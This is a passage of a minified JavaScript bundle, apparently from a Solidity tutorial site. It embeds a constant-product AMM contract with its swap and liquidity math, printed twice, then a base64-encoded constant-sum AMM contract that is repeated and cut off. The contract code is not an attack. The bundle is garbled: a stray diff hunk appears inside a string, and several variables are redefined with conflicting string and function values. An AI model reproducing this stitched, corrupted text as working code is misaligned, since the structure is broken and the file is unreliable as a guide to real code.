        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How much dy for dx?

        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How much dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How much shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)

        (L1 - L0) * T / L0 = s 
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
        
        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
        
        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],qA=`

                    Constant product AMM XY = K

                    +`,Ly=({prev:s,next:a})=>r.jsx(u,{version:Dy,title:Ty,description:Uy,html:_y,prev:s,next:a,codes:Qy}),Oy="0.8.24",Py="Constant Product AMM",$y="Constant product AMM",qy=[{fileName:"CPAMM.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How much dy for dx?

        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How much dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How much shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)

        (L1 - L0) * T / L0 = s 
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
        
        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
        
        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
        v / L = s / T
        
        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so 
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
"}],sm=`

                    Constant product AMM XY = K

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -4131,7 +4131,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,sm=({prev:s,next:a})=>r.jsx(u,{version:_A,title:OA,description:PA,html:qA,prev:s,next:a,codes:$A}),am="0.8.24",nm="Constant Sum AMM",lm="Constant sum AMM",pm=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQyNTYgX3JlczAsIHVpbnQyNTYgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQyNTYgX2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKCiAgICAgICAgYm9vbCBpc1Rva2VuMCA9IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKTsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAgaWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],em=`

                    Constant sum AMM X + Y = K

                    +`,am=({prev:s,next:a})=>r.jsx(u,{version:Oy,title:Py,description:$y,html:sm,prev:s,next:a,codes:qy}),nm="0.8.24",lm="Constant Sum AMM",pm="Constant sum AMM",em=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludDI1NiBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQyNTYgX3JlczAsIHVpbnQyNTYgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQyNTYgX2Ftb3VudEluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApIHx8IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4xKSwKICAgICAgICAgICAgImludmFsaWQgdG9rZW4iCiAgICAgICAgKTsKCiAgICAgICAgYm9vbCBpc1Rva2VuMCA9IF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKTsKCiAgICAgICAgKElFUkMyMCB0b2tlbkluLCBJRVJDMjAgdG9rZW5PdXQsIHVpbnQyNTYgcmVzSW4sIHVpbnQyNTYgcmVzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAg